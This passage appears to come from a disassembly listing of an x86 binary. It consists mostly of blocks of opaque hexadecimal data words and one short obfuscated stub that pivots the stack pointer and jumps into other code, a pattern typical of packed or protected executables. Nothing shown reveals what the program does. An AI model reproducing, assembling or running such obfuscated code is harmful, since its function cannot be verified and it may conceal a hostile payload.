		dd 0F93E392Bh, 3AFB7E17h, 0C160031Ch, 1BC46DFh,	0DB492BDAh
		dd 370274BAh, 61031C3Ah, 0DDF311C0h, 330611DDh,	976BE025h
		dd 0CFED86B3h, 4A1A01B9h, 40E4013Fh, 58A8BFA1h,	1A5305Dh
		dd 2DB5B4DBh, 0A6CD8E70h, 0D8BDF188h, 0E8650CABh, 5F0ED990h
		dd 0C841E47Dh, 0DE9F8120h, 753AAAC0h, 0D71C32FFh, 9D203BB0h
		dd 92B978FCh, 0C8271AB0h, 76738D48h, 62FB7E30h,	733416DFh
		dd 39BCD74Ch, 0A1415A78h, 0CA6345F4h, 32A08223h, 9619CB11h
		dd 0C41AB1CFh, 423C448h, 86A116C5h, 0D86042E3h,	8, 0DD842740h
		dd 0A77F762Eh, 5133EE73h, 8A6C35B8h, 0C6A84DF1h, 6E8952Dh
		dd 4325C86Dh, 7E6005AAh, 0BD9F46E5h, 0FFE18024h, 3D1FC666h
		dd 5D545500h, 4C581h, 0ED830000h, 242C8704h, 4050685Ch
		dd 2C890000h, 37446824h, 4890000h, 52B4BD24h, 0E5C12AEAh
		dd 4DD5F708h, 0C106E5C1h, 0BB5308E5h, 7E44549Fh, 110ACB81h
		dd 0E3815D3Eh, 7DAA1A1Fh, 3555CB81h, 0EBD115E8h, 53CCEB81h
		dd 0DD018BCFh, 48B545Bh, 4C48124h, 55000000h, 28DDB951h
		dd 4C31302Bh, 8F590424h, 70810840h, 2B28DD08h, 2434FF30h
		dd 4C48158h, 8B000000h,	8950242Ch, 405E0h, 0C0830000h
		dd 24048704h, 33A1E95Ch, 0E832FFF9h, 0D59978FFh, 254B69B8h
		dd 0FFC50306h, 77FEBCE0h, 6CFA170Fh, 21E9F74Ch,	70EC5207h
		dd 188F6043h, 6EE2BB16h, 98D8524Bh, 70D33C4Ch, 66284552h
		dd 24C8205Eh, 0F354CD4Ch, 7E71F10Fh, 3AEC272h, 0B7E1DE1Fh
		dd 0A22D3E09h, 7493A058h, 0D0071E6Ch, 0D214C743h, 7CDBF53Ah
		dd 0CBE51D5Ah, 16A0D05Dh, 9FC06977h, 9D964223h,	0C567D86Dh
		dd 0D504EB60h, 0E93D2E7Ah, 567h, 46BB66FBh, 6FE48D2Bh
		dd 9C11D054h, 0C63BFA81h, 0F2670AABh, 33B4BFB1h, 44DEF96Eh
		dd 65092499h, 8D304BC0h, 0D36F6FE4h, 4A1F27BDh,	0A27A2F3Fh
		dd 0F5BC3B54h, 0A4A35213h, 0E57E6001h, 0D289D40h, 50E9CB6Ah
		dd 892204ADh, 0DC6042E3h, 0EEF60C44h, 683924D2h, 0ABF17423h
		dd 91AF76F9h, 0D355F478h, 486F3012h, 81F6A566h,	0BD45C066h
		dd 4964D900h, 851E00A5h, 0F05E40FDh, 57D789CFh,	7F021D92h
		dd 739A5BDEh, 0D2E6FB91h, 0F1F23924h, 0D43E3CABh, 688181C5h
		dd 0CC7423C6h, 5Dh, 6FBD5416h, 1E3B1F3Bh, 24C7C675h, 0DD059B7Dh
		dd 0FD392521h, 0ADE5B6FCh, 25224D97h, 15C40939h, 0C5855B59h
		dd 11481h, 735E0000h, 0B14A2CF5h, 144C6A0Bh, 24D2E6FEh
		dd 7C2B7039h, 0BB7A019Ah, 125855D9h, 0FB19D860h, 0B39540E2h
		dd 0B3CE43F2h, 0BC537130h, 25DF05A3h, 77EC9B1Fh, 2FF273A3h
		dd 9534B44Dh, 45274E17h, 896B16ACh, 0C6A849F0h,	0ED1D6364h
		dd 14C0BD82h, 5C436A1Ch, 29421359h, 0CA770B82h,	8128C1A3h
		dd 0C73CB9E0h, 0B17F83F9h, 0F2737221h, 0E980BA2Fh, 981D1F27h
		dd 0B532F3D5h, 0DC5B44ADh, 403FEE15h, 7912F4BDh, 0C1D7D8F7h
		dd 9EF02A13h, 335A1F9Fh, 0BE04A151h, 9150D4EDh,	453826E2h
		dd 65F181C5h, 0D5000000h, 555D879Dh, 0C96E3925h, 0BC6BB024h
		dd 2FF27304h, 7130B44Dh, 0C80E0B8Fh, 9A5BDEF7h,	0D49D1FB8h
		dd 5B0A31F2h, 0A116DB5Ch, 63C4D067h, 0C6A4F024h, 0CD7C25C7h
		dd 668429CEh, 96CC182Eh, 458A3925h, 9C1BB496h, 0A643F3D5h
		dd 0F03F160h, 4DBC81C5h, 6000000h, 4D2FF273h, 8D6F32B4h
		dd 5B0D53F2h, 0CEA217DAh, 0CD4ABD54h, 0AA81E4F8h, 0B57CFCFBh
		dd 0CDE31BD3h, 3924DE17h, 0F96D34B4h, 0D80905B4h, 3924DDh
		dd 0CFE8B9FFh, 6D778D2Dh, 0E93924DDh, 0DA9B7DA4h, 0C9716F2Bh
		dd 12A81C5h, 74000000h,	4E30F173h, 557332B5h, 16F8B93Ch
		dd 56C4A655h, 51EEF35h,	100FBE67h, 1650C56Ch, 0D4B67FFDh
		dd 0DC09AEBDh, 42693ED7h, 0C65D493h, 0A705D8EEh, 0FE433F43h
		dd 5292A8E0h, 4330797h,	762E10BFh, 468844DFh, 58DB3EEDh
		dd 0CFF6B799h, 0D79E2120h, 0FDA44762h, 0E5D851Bh, 0C9683307h
		dd 872ED183h, 0AD74F712h, 848CF88Fh, 3B1DD86Ah,	7154FD7Ah
		dd 0FE977928h, 37ADC37Bh, 1F3306FBh, 0FB17CDE3h, 0FA3F3306h
		dd 49CAACD3h, 0AB4E0046h, 4755EC0Ah, 0EE67A7E3h, 3D158A39h
		dd 87E3453Fh, 16BF8h, 20C3DC00h, 7A5C19A9h, 0EFB092B9h
		dd 86B38840h, 10B9CFEDh, 103F42F0h, 0AD50E9CBh,	0D7ED8D2Ch
		dd 3306B60Dh, 0B6DD0449h, 38F97F98h, 61779556h,	3306B583h
		dd 6ADF8ED3h, 2305AC4Fh, 67E8E78Ah, 24DCE3ACh, 0DA73557Ch
		dd 16AF9154h, 56F1D392h, 0B09771B7h, 0FF9667ADh, 4E7AD110h
		dd 1E1DCC2Ch, 8D65DA9Bh, 87E3D68Fh, 0CAE03BD2h,	2411764Ah
		dd 0FDDF8625h, 50E58D3Ch, 2F000000h, 0D3F18AB3h, 24D377BDh
		dd 0B437F39h, 24D2EFF5h, 26226739h, 3924D2BEh, 1F355398h
		dd 3924D2C5h, 43254C91h, 24D337ADh, 84CACB39h, 0F901CB3h
		dd 8C46D200h, 0A88C586Eh, 85CA3925h, 4D2617D6h,	0A91B192Fh
		dd 96DB3925h, 0A21721h,	0B3E50000h, 0B9CFED86h,	3F42EA3Ch
		dd 7C15F73Ch, 0A8C338F9h, 253E5C05h, 3DFEE09Dh,	4A6EFEC0h
		dd 5C0B6CD5h, 62FBE47Ah, 22C63306h, 6008A183h, 79A045E9h
		dd 0EE343597h, 2E741314h, 0C338F97Ch, 22051E8h,	0BD9F46E9h
		dd 0F72F4DFCh, 189558DEh, 34197571h, 0D09B822h,	392B7A42h
		dd 2AC3A5EAh, 0E7660687h, 0FFC0A247h, 0E35F6D8h, 6B02BE2Ch
		dd 0F5432107h, 3ABCBB14h, 0FF45C877h, 4E0F62Eh,	522CE119h
		dd 0F70F900Dh, 13B78D7Bh, 794A564h, 1FE0C267h, 3FC1DAF8h
		dd 93A9C776h, 330660BCh, 0E2B62B70h, 7F9786B3h,	21C4691Ah
		dd 3C996DA4h, 25B6BE26h, 2C539839h, 7ED1E705h, 0AE3F4B03h
		dd 4BEE8769h, 971A35AAh, 7356ECCEh, 226E0B93h, 17CDE39Bh
		dd 3FF7F542h, 58F1D3FAh, 0CD2F11D0h, 0C2AC86CCh, 76AE7FC5h
		dd 0F5418460h, 2A747F7h, 9B9A498Eh, 0C9E45918h,	49D7F26h
		dd 79EBC65h, 0E0D9BF71h, 0CBAD5C95h, 44F63C5Dh,	708B00A1h
		dd 8A4224CDh, 4729CC71h, 9B7B0986h, 0DA0686DBh,	153D2Bh
		dd 7F0B0000h, 0F1F30941h, 653924D2h, 0D2D11329h, 40853924h
		dd 73B26A19h, 0B85133EEh, 0F18A6C35h, 2DC6A84Dh, 6D06E895h
		dd 0AA4325C8h, 0E57E6005h, 24BD9F46h, 66FFE180h, 3D1FC6h
		dd 81E38953h, 4C3h, 4EB8300h, 31241C33h, 1C33241Ch, 89535C24h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 242C895Ch, 379068h
		dd 24048900h, 0B62FCFBDh, 0D5F74D7Ch, 3EDC145h,	8106E5C1h
		dd 6BCDF8F5h, 48B541Ch,	4C48324h, 77BF5755h, 177FE15h
		dd 5F04247Ch, 8108408Fh, 15770868h, 34FF77FEh, 0C4835824h
		dd 242C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_536D7B
; ---------------------------------------------------------------------------
		dd 0EC209E85h, 0A07D2ECFh, 0B64F02A7h, 0B8A796A1h, 6255148h
		dd 0E0FFC503h, 10997552h, 3C838A65h, 2A277B33h,	11405EACh
		dd 2DC53489h, 343B3F0Bh, 4DA0EB91h, 1027773Bh, 7839464Ch
		dd 1C59871Ah, 55E55B1Ch, 2D1CF4F9h, 766CCA4Eh, 380A3053h
		dd 39DC2A78h, 45E52C8Dh, 1D4160A0h, 17794E57h, 3811FD23h
		dd 5627BE7Ch, 3D50A28Fh, 53258D8Dh, 0BF0F0625h,	758D89F2h
		dd 6A061E23h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 1058C356h, 0FE05F200h,	0F5D53ACBh
		dd 324D85C7h, 5944061Eh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0FC1024C3h, 0E9BF0755h
		dd 0E781F471h, 4D2401A8h, 316985C7h, 61Eh, 0F6810000h
		dd 4E43C922h, 13E5B5FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0DD4009C3h, 0C19D2B77h
		dd 0FF061E1Ah, 1E16B995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0B6B3799Ah
		dd 0A55DF92Dh, 0EE9525Dh, 0F2000000h, 5D886DA4h, 5A79D3FEh
		dd 42A4D91Eh, 6A5F05h, 26C195FFh, 0C08B061Eh, 7B866DEBh
		dd 0D068FE3h, 0AF47B6BDh, 773258CEh, 21F919B6h,	8A5031E5h
		dd 0BE330FEDh, 0D0A2F472h, 99679504h, 0A149DD0Ah, 789ECDA7h
		dd 0EFC9902Eh, 0A07FB769h, 3B040E49h, 0CD23B671h, 0C04ED442h
		dd 49B5D37Ah, 8EE25549h, 47D07B1Dh, 5F305159h, 68BC86BEh
		dd 0B01B8006h, 7B15836Bh, 0DD84B6A8h, 0E7989813h, 0DA654353h
		dd 2C2DBBE1h, 0EB14FDF0h, 25839B04h, 4FAE955h, 30D10000h
		dd 77F51085h, 9A1E39AEh, 0AC4B66DBh, 0F0759005h, 8577B82Dh
		dd 0BB30F57Ah, 0E25702A0h, 0D8227C7h, 31A64FF2h, 657F9531h
		dd 0F13F4A25h, 0F073643Ch, 31B64F31h, 59DCF76Ch, 9A1DB698h
		dd 0D860F9DBh, 0B6B33719h, 7A3BBE70h, 0A144EA05h, 0C86D112Ch
		dd 8B54DE6h, 5197B826h,	0FE821F9Fh, 6D945537h, 0A5BEF8h
		dd 0CAFAE5Dh, 0F4ED8365h, 0E43924D2h, 302E9DE3h, 0E981C5D4h
		dd 5Ch,	31F07333h, 0D329B94Fh, 189E3924h, 0E35F87Dh, 5110932Ch
		dd 9AE0016Fh, 8DD3D4C0h, 0C5D4201Eh, 1D981h, 73230000h
		dd 0D60E2CF5h, 24D324C0h, 3EED3239h, 7C25C35Ch,	0BB7A019Ah
		dd 0A4BD55D9h, 637A5C05h, 0DFB4CA66h, 0CB7AA1A0h, 0A8500248h
		dd 0F6799409h, 6780BA2Fh, 0B66E1DC4h, 4D2FF273h, 8B6D34B4h
		dd 0F0C1070Ah, 0AE9051D7h, 0C5ECD597h, 739A50D6h, 7D20C5C4h
		dd 0AB4AED08h, 0E58C30C9h, 1DD86A03h, 581DA23Bh, 0ACF2F576h
		dd 0D91FBCD2h, 0C5BA7C6Ah, 9A3581h, 737F0000h, 954D2FF2h
		dd 35B4B5FEh, 8B3AB4B6h, 6749E88Ch, 0EEA0E6E3h,	142FA449h
		dd 53ECCE93h, 0E40016D4h, 72392588h, 0DA08B02Dh, 7DFEC370h
		dd 27C47456h, 548472E1h, 7C3D81C5h, 21000000h, 0E1C36608h
		dd 73B97120h, 0D9112FF2h, 24D321C3h, 41F03539h,	0A520C65Fh
		dd 0BB7C5E07h, 50773ABCh, 0E4FA32h, 563924D3h, 0C66F1211h
		dd 0FB9A3517h, 0E76203B5h, 7BFA140h, 24D2F3F1h,	0F71E6339h
		dd 0F0A977Ah, 436A2B76h, 465C94CEh, 3925BE9Eh, 561B9BB8h
		dd 8D8CB374h, 0E19948F5h, 1F35F573h, 3924D2C5h,	43254C91h
		dd 24D334ADh, 5DA3A439h, 0C5D4F0EEh, 1A981h, 73F30000h
		dd 12D758F1h, 0CD7009EBh, 0B3D44224h, 2239BB6Dh, 0A72BA76Bh
		dd 0B9AFA309h, 21FB74F1h, 79A05DE5h, 639D3452h,	504123D7h
		dd 7853C877h, 5A92B0C1h, 5FD80C22h, 397E3925h, 674F8E8Ah
		dd 0B4F93F43h, 3EF87D96h, 757BC28h, 2E559A33h, 0FADC8B4Ch
		dd 0A33FDE61h, 3F5ACFF6h, 7D13F5BCh, 33075765h,	0C97BC160h
		dd 48617F26h, 0DB50FFBAh, 92743DC0h, 0CDAF76F9h, 5103494Ch
		dd 0BA9207AEh, 87E34FBCh, 585468FFh, 80A4DE84h,	13A29D1h
		dd 0B3730000h, 97CFED86h, 5335F87Eh, 4E139392h,	0FCAB6Ch
		dd 3F42EFC9h, 78301257h, 3719D85Fh, 2EEB7776h, 0DEFD807Fh
		dd 99AC353Ch, 73E80FEEh, 2A0CD558h, 2947EE91h, 4209DBF1h
		dd 3AC23306h, 0C3C2077Bh, 0D99A7C25h, 29C7482Ah, 4EEF7210h
		dd 52D584ABh, 9D223B0Ch, 8EB57C00h, 6DEF4ACh, 50330642h
		dd 3635E40Bh, 437DF2B3h, 41EFF50Bh, 22673306h, 65B9B773h
		dd 4C7287E4h, 0BC000000h, 0D3F18AB3h, 24D377BDh, 0C0627F39h
		dd 98D0EE15h, 24D26282h, 0AFF439h, 0D25C881Eh, 0A5A63924h
		dd 0D550ED5Fh, 0C91BDFEBh, 1182FF64h, 92F794Ch,	306886ADh
		dd 2505CA1Ah, 98478C39h, 5D0647Ah, 0E1263925h, 72626Ch
		dd 0B3300000h, 0B9CFED86h, 3F42EA3Ch, 7C15F73Ch, 8B30E2F9h
		dd 4371B498h, 684B72Dh,	335A9F33h, 0AF95CFB6h, 0AED57FDBh
		dd 0B1C7FF39h, 3306CF33h, 302FDE23h, 6C02E48Dh,	3306CF73h
		dd 0B567AD4Ch, 23FE7332h, 293F5D16h, 392C2150h,	79921330h
		dd 9FF42F76h, 583A61EDh, 0F58E7097h, 63D1B372h,	0AF8AFC42h
		dd 0EB8EA4C2h, 95330664h, 89193250h, 0D4A81DCCh, 0CFED86B3h
		dd 4A26C0B9h, 5D7BC03Fh, 0F208A244h, 32FF7FF2h,	49F81F64h
		dd 8A2BCE67h, 3BC2DB15h, 29CCCB7Ah, 0AA516A88h,	0B968290Bh
		dd 66061FD7h, 1D1CDDBFh, 32F3D598h, 5A878783h, 15AD8600h
		dd 0A141617Eh, 8E8DEA0Fh, 0A36446EFh, 792B71F4h, 9FBA2FF6h
		dd 3BFA7D1Ch, 0DDD071Dh, 3479DFFEh, 0EB922B0Dh,	94132C4Ah
		dd 7B2AEBCDh, 0C40A2B99h, 57775CF3h, 3BB5B5F3h,	19DD071Dh
		dd 3479DFFEh, 42E38685h, 8E0FB2CDh, 0AA3A50EEh,	0ACDFFE19h
		dd 0FB194067h, 1A37ADC3h, 0DA1FDFFEh, 8C1492Bh,	8F000000h
		dd 0F4BD3B54h, 737A5245h, 0B85133EEh, 0F18A6C35h, 2DC6A84Dh
		dd 6D06E895h, 0AA4325C8h, 0E57E6005h, 24BD9F46h, 66FFE180h
		dd 3D1FC6h, 47DB68h, 24148900h,	314B68h, 242C8900h, 51F868h
		dd 241C8900h, 6A43B850h, 0D0F748C1h, 0B5561005h, 3E0C164h
		dd 235D8F7h, 502645F2h,	0AF243481h, 5D3F2F43h, 43AFF581h
		dd 83583F2Fh, 248904ECh, 24048324h, 56555B04h, 0A123CCBEh
		dd 24740102h, 438F5E04h, 86B8108h, 2A123CCh, 52241C8Bh
		dd 0C281E289h, 4, 4C281h, 14870000h, 34FF5C24h,	0C4815D24h
		dd 4, 0F9270EE9h, 0DA70B5FFh, 0DC42058Eh, 0F22429Bh, 25580CB8h
		dd 0FFC50306h, 0C18F83E0h, 0E6997B29h, 1304CE61h, 25CF2C0Fh
		dd 9A04EB25h, 0E94CE3E8h, 514h,	0FE732EB3h, 279C45E3h
		dd 54C9680Ch, 7EF3B239h, 0AA1FC263h, 0CB6C7769h, 0C96B126h
		dd 3DC1DC51h, 45E80378h, 8B27279Ch, 4A2A6F75h, 0F432E73Fh
		dd 9CE46E5Dh, 0CB7ADC64h, 31F07313h, 6C31B64Fh,	0E400164Eh
		dd 723924D2h, 0CF097E2Dh, 0BF6E37B6h, 6D1E3DC0h, 0D7551D41h
		dd 0EE26446Bh, 0AE904DD5h, 56F3F1EDh, 1E633925h, 71F48D6Fh
		dd 0BEFB92B0h, 670D2CB2h, 6902E493h, 0CF152BC3h, 0DD3925C2h
		dd 25C31DC7h, 80F43939h, 0AE32143Bh, 50307F16h,	8E60509Ah
		dd 64165CDFh, 90AB20C1h, 0BBD64BEEh, 0FB94763Bh, 3FD8BA67h
		dd 7D16F8B9h, 0BB3C3BFAh, 939014F6h, 0E39F734Dh, 18AA23CAh
		dd 9354365Dh, 691B61E4h, 90AB20C5h, 0CC6244EDh,	3924F015h
		dd 0D7CC2C3h, 81C5B80Fh, 5CC8h,	0F0731200h, 29B94F31h
		dd 0B13924D3h, 0FDFB6AB0h, 0B681C5D4h, 1, 2CF57300h, 445A924Ah
		dd 3924D2A0h, 0C3C271B6h, 631EA425h, 0B799C081h, 0B8D69F1Eh
		dd 7658199Fh, 1CFEBE5Fh, 3960025Eh, 8C24A88Ah, 0A5A63E54h
		dd 6BB03925h, 41F339BCh, 0D99C22BBh, 9A0F36F7h,	0C035FC7Fh
		dd 2FF273ECh, 6D34B44Dh, 0C1070A8Bh, 0BED46E0Fh, 3924D326h
		dd 0A6C4EB30h, 6244E98Dh, 627DF2A1h, 9B3416DFh,	0C6765819h
		dd 8674E329h, 3F81C5D2h, 0A4h, 6C630A23h, 45466F3Ah, 62446BC1h
		dd 733AF2A1h, 0B44D2FF2h, 79149930h, 894A2CE9h,	98BF8062h
		dd 0EF3532B6h, 0BE67051Eh, 0CC7B3EBFh, 678528CDh, 0CC4CACD0h
		dd 1BA2BF24h, 90B7785Ah, 0AC516CE1h, 566F2709h,	6C2D0FD6h
		dd 763FBEBDh, 0F5BC3F58h, 17B46446h, 40E700D1h,	4836F2A1h
		dd 8B81C584h, 0BA968EF4h, 13C236FCh, 5A6Bh, 0F273B500h
		dd 7C954D2Fh, 955638F9h, 0A3521396h, 0E78702A4h, 0A14342h
		dd 0D95EF7D9h, 17993214h, 4FD36C4Eh, 65ABA892h,	37508A8Bh
		dd 4F10F2B7h, 25D71DA0h, 9468DD80h, 0E2CF573h, 0FFAE77F5h
		dd 0D25A871Dh, 7D7E3924h, 0D4CAC837h, 0F40D81C5h, 10D1B36Eh
		dd 1B961h, 73030000h, 7B1230F1h, 627DDBBh, 4BEBEAB2h, 5403C4A6h
		dd 1AA1BA72h, 1940E183h, 42587637h, 39254CA2h, 0C1C06FB4h
		dd 2795773Eh, 6A0EC006h, 31C56CBh, 1CDDBF62h, 0EF8BAE6Dh
		dd 254D0BD9h, 0DF064B39h, 6001A8C1h, 0C45B93B1h, 966A781Eh
		dd 0A3C7445Dh, 1347E721h, 0AF2E2AD9h, 993F43AEh, 56D97254h
		dd 917336B7h, 1934A9D0h, 35EDCF96h, 28D79A1Ch, 79EB62Ch
		dd 2A700F33h, 0E2CF578h, 9F24C0D6h, 0ED323307h,	0C8AA4BEEh
		dd 0C8E35807h, 0B8FC2625h, 7EBEA88Ch, 9D203957h, 0AA4325D4h
		dd 0FB7C5E07h, 7D00B2F8h, 69673FB4h, 2287E356h,	13Bh, 0ED86B36Ch
		dd 0F010B9CFh, 0F3103F42h, 0A486AD74h, 469EB4ECh, 103306B6h
		dd 9A1D1CCBh, 0A84B66DBh, 566F2709h, 605F0ED7h,	0F7BA3CDDh
		dd 4B2D5415h, 93132CCAh, 0D1295978h, 0A3CA5E06h, 75982526h
		dd 0FAA99DE3h, 0FC7F3177h, 0F042AADFh, 8CB3D83Dh, 21C4DD17h
		dd 1715D180h, 0D087E4D0h, 5Fh, 0FC3F1DB4h, 4AEA962Fh, 8AB3E39Bh
		dd 829BD3F1h, 8F8B3AFBh, 3924D2A5h, 942A0C51h, 3924D250h
		dd 5638F97Bh, 997B3ABDh, 0F8D21815h, 18E92F30h,	0D6B879FFh
		dd 96A76615h, 0DEC07D05h, 0C2D8F61Dh, 3924D272h, 0E9213F84h
		dd 24D211D3h, 84284539h, 133AFBDDh, 21D09114h, 7DA2ACh
		dd 0B3700000h, 0B9CFED86h, 3F42EA3Ch, 7C15F73Ch, 89C338F9h
		dd 7B2ACF70h, 5638F97Ch, 6BBE079Eh, 0C951F71Ch,	0AEC11E1Ah
		dd 5FFE3306h, 0C7C46719h, 5D2CF12Eh, 4F6583DDh,	3305F095h
		dd 0E0557CC1h, 213F3405h, 0C7F852E9h, 0DBD9E520h, 2E67302Ch
		dd 1055392Bh, 5312952Eh, 8F4AD871h, 0F89114ADh,	10D1B376h
		dd 868307E9h, 71926640h, 0BF415A2Bh, 0B18847F6h, 0B8CA2C0h
		dd 0B13305D5h, 0B323F76Ch, 97CFED86h, 24D26381h, 4558F339h
		dd 3728B56Eh, 6886355Ch, 4B134552h, 1432773Fh, 621EC6DCh
		dd 0F3383300h, 0FDAC75F4h, 3FFF821Bh, 61BB29h, 2F569B33h
		dd 0C46780BAh, 0CC6F6E1Dh, 0BEAD4325h, 307DC718h, 0B83BED33h
		dd 0C66984F9h, 5A43D1Fh, 0F0063E5Ch, 0E839ABF4h, 8C6E1D62h
		dd 5B7FD1Eh, 334EC362h,	870FF1B0h, 3, 73A77F55h, 0B85133EEh
		dd 0F18A6C35h, 2DC6A84Dh, 6D06E895h, 0AA4325C8h, 0E57E6005h
		dd 24BD9F46h, 66FFE180h, 3D1FC6h, 6A1468h, 24048900h, 210668h
		dd 241C8900h, 74E068h, 24148900h, 2D3EBE56h, 82682D6Eh
		dd 5BD8B72Bh, 685EF301h, 5030h,	83242489h, 5A042404h, 8428F53h
		dd 5A2434FFh, 4C481h, 1C8B0000h, 0E7895724h, 4C781h, 0C7830000h
		dd 243C8704h, 21D1E95Ch, 475FFF9h, 7FA7B398h, 255D74B8h
		dd 0FFC50306h, 0DF1B42E0h, 0A1D6693Fh, 2018CC04h, 0BFEFF218h
		dd 81B67915h, 589F9B6Bh, 0C9230973h, 6B7ACE68h,	4F719230h
		dd 3F973842h, 0FABA5B42h, 1FFB912Bh, 2AA7EB24h,	0A98D8D1Ah
		dd 6606255Eh, 578AE881h, 23758D89h, 0CB81061Eh,	4043AD3Ah
		dd 0C7C0B70Fh, 1E324D85h, 661C06h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 9A85AF64h
		dd 0C81CBB6Ah, 9D893F0Dh, 61E1B89h, 316985C7h, 61Eh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 293429C3h, 0E280B1A6h, 11B5FF45h, 53061E2Dh,	95FF5EF5h
		dd 61E16B9h, 30018509h,	6A061Eh, 26C195FFh, 0C08B061Eh
		dd 3AB04CEBh, 31EE15CCh, 964EF26Bh, 9A03FE6h, 57994A95h
		dd 45F78052h, 93B99289h, 0C690C5CAh, 64958B36h,	3CDA0E67h
		dd 0C46E3C8Dh, 13B0F3ECh, 0D25875Dh, 0EFACF9DAh, 414662B2h
		dd 0F09B3AA9h, 0EF4595F2h, 0ED34CDB5h, 0AE4AB809h, 4EB12C1h
		dd 2C53394Fh, 51BE9h, 28D56E00h, 511098B3h, 763FC1DCh
		dd 9E47E601h, 0C4690E29h, 111C0E4Fh, 3954C96Ch,	5C77ECA9h
		dd 87A217DAh, 0C8C83DE4h, 31CE162Ch, 0D3883F4Ah, 3AF073FBh
		dd 24D2C024h, 445A9639h, 3924D2A0h, 234A71B6h, 2DB7CD05h
		dd 293924D3h, 0BA5335E4h, 0E0FB7035h, 0F6069D5Dh, 0CA1556FFh
		dd 5D855F5Bh, 8CD13925h, 59B04765h, 1669010Eh, 0DD765807h
		dd 0A722C35Ah, 0BE7F6100h, 0F58E7097h, 7790AE77h, 8E4F31F0h
		dd 7C79FDDFh, 40E18436h, 6B0EB0CBh, 965BDBF6h, 0C727E178h
		dd 494E876Fh, 831FB89Ah, 8821B8D6h, 0C4570EBEh,	0C9740E0Dh
		dd 957726E7h, 0B0526B27h, 31FD49AFh, 2E55E357h,	0BA0E8B4Ch
		dd 667F0A87h, 0A5EB6E1Dh, 39AE73F3h, 9C41E6FFh,	87E0031Fh
		dd 0CF7E8AE2h, 0A2842DD0h, 25BED50Ch, 4E670339h, 612204A9h
		dd 7AE92FB2h, 81C4E87Ch, 4B35h,	0F0737F00h, 0C5DB1331h
		dd 3924D31Fh, 6143F237h, 24D317CBh, 7CC2C339h, 0C5D50F0Dh
		dd 0A2BB5281h, 337290B3h, 115BD6Ch, 5F000000h, 0D054F573h
		dd 0C5ECA939h, 19FB22E3h, 5739F880h, 94763FBEh,	1BCD1310h
		dd 445FD49Dh, 0B78B00A1h, 4D2FF273h, 4F6D34B4h,	40EFB636h
		dd 263FDD5Eh, 0AA2DDC81h, 680DB264h, 8C55D8F3h,	706F11AAh
		dd 120D76ADh, 0BD9FC64Eh, 0BB2A700Dh, 81C5C2CDh, 0A186h
		dd 0F273D000h, 70F8112Fh, 5F0ECFB1h, 0AA40E47Dh, 24D35094h
		dd 44C10639h, 0D96DC71Dh, 76587FA3h, 0BC415AF2h, 81C74AF9h
		dd 0A2352ECFh, 7ACA9001h, 0A6BFDD04h, 0D9605F06h, 0C6753618h
		dd 0ECB13651h, 0B439520Ah, 3F80FF1h, 912D6784h,	2E2DDC03h
		dd 5404E68Fh, 0EA7F031Ch, 0FDBEA045h, 8433F4D6h, 5E4CBB01h
		dd 1781C50Fh, 4Dh, 2FF27361h, 0BEFE954Dh, 9B632EABh, 0EB8B8A39h
		dd 37CB6446h, 6F0FA88Ah, 8586E8CAh, 0C564653Fh,	8528CD7Fh
		dd 2A3FD610h, 264A70FCh, 61767BAEh, 7C09DAE4h, 0F57315CDh
		dd 2DB44A2Ch, 0AB3924D3h, 0F7F564AAh, 0B081C5D4h, 1, 56BD54FAh
		dd 6F0AD489h, 1A9E9D4Ch, 83243D5Bh, 8C3BFCDEh, 53D9F2AAh
		dd 4C7332BAh, 18AAA96Ah, 0CAFAE5Dh, 0F4158365h,	0B978FCAEh
		dd 0A3D06944h, 0D66E6F85h, 95DA3F43h, 0CE971AB3h, 0FABB3E59h
		dd 0C6608218h, 0C7673307h, 6A74022h, 0FD8163h, 40DFE0BAh
		dd 0FCA548FAh, 28C96C87h, 6B0AAD46h, 0BF050889h, 56CB6A0Dh
		dd 0E960031Ch, 0FBBC9E47h, 0B431F2D4h, 2C06521Ah, 8743F2FDh
		dd 87E3CC89h, 12942h, 86B38C00h, 10B9CFEDh, 103F42F0h
		dd 0AD50E9CBh, 0F1748F04h, 83EE93DAh, 63796EB0h
		dd 3306C081h, 426990D5h, 7D24C760h, 0D1171A9Bh,	60D59C1Fh
		dd 0E3E68A88h, 4F4387h,	548D0000h, 16F8B93Bh, 0F709D855h
		dd 0E0724C01h, 0A6CB7231h, 0B5C27288h, 17343925h, 2FF0D297h
		dd 2DD1EA08h, 36E5A688h, 0B526BE54h, 0DBDC3925h, 611A2395h
		dd 0EB740B43h, 0B171762h, 36FEFAA9h, 0C039257Fh, 0A3445D7Bh
		dd 0D0DA4FFEh, 0A2h, 0ED86B39Eh, 0FF7E97CFh, 869C5436h
		dd 3924D25Eh, 0DD8CB3F8h, 42EA14E1h, 11F643Fh, 90A644E8h
		dd 3306BB54h, 0E796BD02h, 50C96C05h, 662709A8h,	0CAFCA3Fh
		dd 0F90F4765h, 3306BAEBh, 9577266Bh, 7F22C4DDh,	0BC0BD4D0h
		dd 15B43306h, 47E5FECFh, 0A18322C6h, 0B0AB9E0h,	7954C968h
		dd 5D95B3C0h, 0B9D50F25h, 3C813306h, 194B918Dh,	0DEFB392Ch
		dd 7B3ABD58h, 0CFB1D899h, 6C05E70Eh, 0D84628C9h, 9A071B7h
		dd 48054E85h, 6E2DDC41h, 7288A6CBh, 3306DB6Ah, 417997DCh
		dd 0BC1DB92Bh, 0A9589D26h, 1C546034h, 24D2DE06h, 84337839h
		dd 0E1FF74C5h, 4A3211CBh, 0EF0353Fh, 0BE33F275h, 436100A3h
		dd 0D495B4ACh, 0E392BB4Ch, 7CE76B01h, 0D8D55D75h, 945DE092h
		dd 29CCE51Fh, 57DAD988h, 0D757708Eh, 0E8816312h, 4A82A041h
		dd 88C1B034h, 990BA608h, 9F11F922h, 0D7B9688Fh,	31024869h
